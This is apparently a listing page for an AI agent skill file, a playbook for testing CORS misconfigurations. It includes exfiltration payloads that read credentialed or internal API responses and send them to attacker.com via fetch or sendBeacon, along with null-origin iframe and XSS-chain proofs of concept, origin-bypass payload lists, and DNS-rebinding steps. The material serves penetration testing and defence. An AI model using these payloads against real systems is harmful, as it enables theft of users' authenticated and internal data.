cors-cross-origin-misconfiguration
Skill2 starsChanged 5 months agoApache-2.0View on GitHub
CORS misconfiguration testing playbook. Use when analyzing cross-origin trust, credentialed browser reads, origin reflection, preflight policy bugs, and browser-based access to authenticated APIs.
2 other projects use a version of this, 1 of them edited.
Adopted by
Most recently taken up by
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- yaklang/hack-skillsword for word, first seen Apr 29, 2026
Other versions2 projects use a version of this.
Word for word · 1
- yaklang/hack-skills★ 2.4k100% same
Edited · 1
- Kur1sulab/blackbox★ 399% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository168 other files it gives its agents.
- AGENTS.mdAGENTS.md
- .cursor/rules/CO-STAR-UI-CREATOR/AGENT.mdcCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-CREATOR.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/CO-STAR-PROMPT.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/README.mdCursor rule
- .cursor/rules/CO-STAR-UI-CREATOR/ui.mdCursor rule
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The file
We split this skill into the rules it gives an agent
4 rules. About 0 are common, 2 are distinctive, and 2 are very specific to this project.
≈0
Common · estimate
Many files like this have a rule of this kind.
≈2
Distinctive · estimate
This author's own choices. Worth a look.
2
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 43
Test with and without credentials.
- Distinctive: line 45
If readable data is sensitive, chain to account or tenant impact.
- Very specific: line 69
If the server includes null in its origin allowlist or reflects it:
- Very specific: line 135
When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, …
≈ “Common” is an estimate: at least 1 in 5 of the 364,980 skill files we read have a rule of the same kind, not the same words. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: CORS Misconfiguration — Credentialed Origins, Reflection, and Trust Boundary Errors
AI LOAD INSTRUCTION: Use this skill when browsers can access authenticated APIs cross-origin. Focus on reflected origins, credentialed requests, wildcard trust, parser mistakes, and origin allowlist bypasses. For JSONP hijacking deep dives, same-origin policy internals, honeypot de-anonymization, and CORS vs JSONP comparison, load the companion SCENARIOS.md.
Extended Scenarios
Also load SCENARIOS.md when you need:
- JSONP hijacking complete attack scenario — watering hole +
<script>cross-origin data theft - Honeypot de-anonymization via JSONP — use social platform JSONP endpoints to identify anonymous visitors
- Same-origin policy deep dive — protocol/hostname/port definition,
document.domainsubdomain relaxation and its security risks - CORS vs JSONP technical comparison — methods, error handling, credential behavior, migration path
- CORS exploitation payloads — reflected origin with
credentials: include, null origin via sandboxed iframe - Dual-site attack lab pattern — localhost:8981 (target) + localhost:8982 (attacker) testing setup
1. WHEN TO LOAD THIS SKILL
Load when:
- Responses contain
Access-Control-Allow-Origin,Access-Control-Allow-Credentials, or preflight headers - A browser-based attack path might read authenticated API responses
- JSON endpoints appear protected from CSRF but are readable cross-origin
2. HIGH-VALUE MISCONFIGURATION CHECKS
| Theme | What to Check |
| wildcard with credentials | Access-Control-Allow-Origin: * plus credential support or equivalent broken behavior |
| reflected origin | server echoes arbitrary Origin |
| weak allowlist | suffix, prefix, substring, regex, or mixed-case matching errors |
null origin | acceptance of sandboxed, file, or serialized origins |
| preflight trust | overbroad methods and headers |
| internal API exposure | admin or tenant data readable cross-origin |
3. QUICK TRIAGE
- Send crafted
Originheaders and inspect reflection. - Test with and without credentials.
- Probe allowlist bypasses using attacker subdomains and parser edge cases.
- If readable data is sensitive, chain to account or tenant impact.
4. RELATED ROUTES
- Session or JSON action abuse: csrf cross site request forgery
- OAuth token leakage and callback binding: oauth oidc misconfiguration
- API auth context: api auth and jwt abuse
5. NULL ORIGIN EXPLOITATION
How Origin: null is sent
| Context | Origin Header Value |
Sandboxed iframe (<iframe sandbox>) | null |
data: URI scheme | null |
file: protocol (local HTML) | null |
| Cross-origin redirect chain (some browsers) | null |
Serialized data in blob: URL from opaque origin | null |
Exploitation
If the server includes null in its origin allowlist or reflects it:
Access-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true<iframe sandbox="allow-scripts allow-forms" srcdoc="
<script>
fetch('https://target.com/api/user/profile', {credentials: 'include'})
.then(r => r.json())
.then(d => fetch('https://attacker.com/log?data=' + btoa(JSON.stringify(d))));
</script>
"></iframe>The sandboxed iframe sends Origin: null → server reflects null → attacker reads credentialed response.
6. SUBDOMAIN XSS → CORS BYPASS CHAIN
Attack flow
1. Target API at api.target.com allows CORS from *.target.com
2. Find XSS on any subdomain: blog.target.com, dev.target.com, etc.
3. Exploit XSS to make credentialed requests to api.target.com
4. CORS allows the request → attacker reads sensitive API responsesPoC (injected via XSS on blog.target.com)
fetch('https://api.target.com/v1/user/profile', {
credentials: 'include'
})
.then(r => r.json())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify(data));
});Why this works
blog.target.comis same-site withapi.target.com→SameSitecookies sent- CORS allowlist includes
*.target.com→Access-Control-Allow-Origin: https://blog.target.com - Combined: SameSite bypass + CORS read = full API access from XSS on any subdomain
Reconnaissance for this chain
□ Enumerate subdomains (amass, subfinder, crt.sh)
□ Test each for XSS (stored, reflected, DOM)
□ Check if API CORS accepts subdomain origins
□ Subdomain takeover candidates also qualify7. VARY: ORIGIN CACHING ISSUE
Problem
When the server reflects Origin in Access-Control-Allow-Origin but does not include Vary: Origin in the response, intermediary caches (CDN, reverse proxy) may serve the same cached response to different origins:
1. Attacker requests: Origin: https://attacker.com
Response cached with: Access-Control-Allow-Origin: https://attacker.com
2. Victim requests same URL (no Origin or different Origin)
Cache serves response with: Access-Control-Allow-Origin: https://attacker.com
→ Victim's browser allows attacker.com to read the response (CORS cache poisoning)Detection
# Request 1: with attacker origin
curl -H "Origin: https://evil.com" https://target.com/api/data -I
# Request 2: with legitimate origin
curl -H "Origin: https://target.com" https://target.com/api/data -I
# Compare: if both responses have Access-Control-Allow-Origin: https://evil.com
# → cache poisoned, Vary: Origin is missingExploitation
1. Warm the cache: send request with Origin: https://attacker.com
2. Wait for victim to access the same cached URL
3. Cached ACAO header allows attacker.com to read the response
4. Attacker page fetches the URL → reads cached response with credentialsFix verification
□ Response includes Vary: Origin
□ Cache key includes the Origin header
□ Alternatively: Access-Control-Allow-Origin is not reflected (hardcoded allowlist)8. REGEX BYPASS PATTERNS
Common flawed regex patterns for origin validation:
| Intended Pattern | Flaw | Bypass Origin |
^https?://.*\.target\.com$ | .* matches anything including - | https://attacker-target.com |
^https?://.*target\.com$ | Missing anchor after subdomain | https://nottarget.com, https://attacker.com/.target.com |
target\.com (substring match) | No anchors | https://attacker.com?target.com |
^https?://(.*\.)?target\.com$ | Missing port restriction | https://target.com.attacker.com:443 |
^https://[a-z]+\.target\.com$ | Missing end anchor for path | N/A (but misses subdomains with - or digits) |
| Backtracking-vulnerable regex | ReDoS | https://aaaa...aaa.target.com (CPU exhaustion) |
Test payloads for origin validation bypass
https://attacker.com/.target.com
https://target.com.attacker.com
https://attackertarget.com
https://target.com%60attacker.com
https://target.com%2F@attacker.com
https://attacker.com#.target.com
https://attacker.com?.target.com
nullAdvanced: Unicode normalization bypass
https://target.com → https://ⓣarget.com (Unicode homoglyph)Some origin validators normalize Unicode after comparison, while the browser sends the original — or vice versa.
9. INTERNAL NETWORK CORS EXPLOITATION
Scenario
An internal-only API (e.g., http://192.168.1.100:8080/admin) is configured with:
Access-Control-Allow-Origin: *Internal APIs often use wildcard CORS because "only internal users can reach it."
Attack chain
1. Attacker sends victim (internal employee) a link to attacker.com
2. Attacker page JavaScript fetches internal API:
fetch('http://192.168.1.100:8080/admin/users')
3. CORS allows * → response readable
4. Exfiltrate internal data to attacker server// On attacker.com — target internal API from victim's browser
const internalAPIs = [
'http://192.168.1.1/admin/config',
'http://10.0.0.1:8080/api/users',
'http://172.16.0.1:9200/_cat/indices', // Elasticsearch
'http://localhost:8500/v1/agent/members', // Consul
];
internalAPIs.forEach(url => {
fetch(url)
.then(r => r.text())
.then(data => {
navigator.sendBeacon('https://attacker.com/exfil',
JSON.stringify({url, data}));
})
.catch(() => {});
});Port scanning via CORS timing
Even without Access-Control-Allow-Origin: *, the attacker can infer internal service availability:
- Port open: connection established → CORS error (different timing)
- Port closed: connection refused → fast error
- Host down: timeout → slow error
Combined with DNS rebinding
1. Attacker controls attacker.com with short TTL (e.g., 0 or 1)
2. First DNS resolution: attacker.com → attacker's IP (serves malicious JS)
3. Second DNS resolution: attacker.com → 192.168.1.100 (internal IP)
4. JavaScript on the page fetches attacker.com/admin → now hits internal server
5. Same-origin policy satisfied (same domain) → response readableDoes it work?
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